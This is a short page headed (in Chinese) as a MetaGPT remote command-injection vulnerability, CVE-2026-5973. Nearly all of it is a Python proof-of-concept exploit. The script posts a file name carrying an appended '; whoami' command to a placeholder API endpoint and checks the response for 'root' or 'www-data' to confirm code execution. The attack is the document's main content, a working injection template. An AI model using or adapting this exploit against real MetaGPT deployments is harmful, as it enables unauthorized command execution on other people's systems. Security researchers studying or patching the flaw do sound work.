CVE-2026-5973 MetaGPT远程命令注入漏洞

import requests # Exploit Title: CVE-2026-5973 MetaGPT get_mime_type OS Command Injection # Description: PoC to demonstrate command injection in the get_mime_type function. target_url = "http://target-host:port/api/vulnerable_endpoint" # The payload attempts to execute 'whoami' command using a semicolon separator # Assuming the parameter 'file_name' is passed to get_mime_type payload = "; whoami" malicious_data = { "file_name": f"test.txt{payload}" } try: response = requests.post(target_url, data=malicious_data) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body:") print(response.text) if "root" in response.text or "www-data" in response.text: print("[!] Command Injection Successful!") except Exception as e: print(f"[-] Error occurred: {e}")